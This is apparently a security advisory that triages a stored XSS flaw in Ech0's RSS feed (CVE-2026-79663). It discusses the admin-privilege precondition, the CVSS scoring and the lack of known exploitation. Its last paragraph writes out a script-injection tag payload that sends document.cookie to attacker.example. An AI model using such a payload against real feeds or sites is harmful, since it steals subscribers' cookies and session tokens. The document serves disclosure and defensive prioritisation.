Ech0 CVE-2026-79663

Admin role is required to create or edit echo posts - Ech0 enforces this at internal/service/echo/echo.go:54-56. In a single-admin instance (the owner is the only admin), exploitation is self-attack with no meaningful external threat. The realistic attack scenario is a multi-admin deployment where the owner has promoted one or more non-owner admins, allowing a rogue or compromised elevated account to inject into the shared RSS feed. Additionally, victim impact depends on the RSS client rendering <summary type="html"> as HTML - clients that display summaries as plain text or strip script tags are not vulnerable to JavaScript execution. The /rss endpoint must be reachable by the subscriber (typically public by default). No non-default Ech0 configuration is required for the feed endpoint itself to be exposed.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:H/UI:P, score 4.8) accurately captures the two principal constraints: the attacker must already hold admin privileges (PR:H), and victim impact depends on the RSS client rendering HTML (UI:P). These factors together significantly reduce priority relative to a raw network-delivered XSS. No EPSS data was provided in the input; no CISA KEV listing exists, and no public exploit code has been identified, meaning this is not confirmed actively exploited. The scope change (RSS reader origin, not the Ech0 application origin) limits but does not eliminate impact - RSS readers that render HTML may expose session tokens or permit reader-origin actions on behalf of subscribers. In single-admin deployments this is effectively self-attack with negligible threat. Multi-admin deployments where non-owner admins have been promoted represent the realistic threat scenario. Overall, this is a low-to-medium real-world priority: patch when convenient, but not an emergency for single-admin instances.

A malicious or compromised admin on a multi-admin Ech0 instance creates an echo post with a tag named </span><script>fetch('https://attacker.example/c?'+document.cookie)</script><span>x. The payload is stored and rendered unescaped into the public /rss Atom <summary type="html"> field. When an RSS subscriber opens the feed in a client that renders HTML summaries (common in self-hosted and desktop RSS readers such as Miniflux, NetNewsWire, or similar), the script executes in the reader's origin, exfiltrating any cookies or tokens accessible from that context.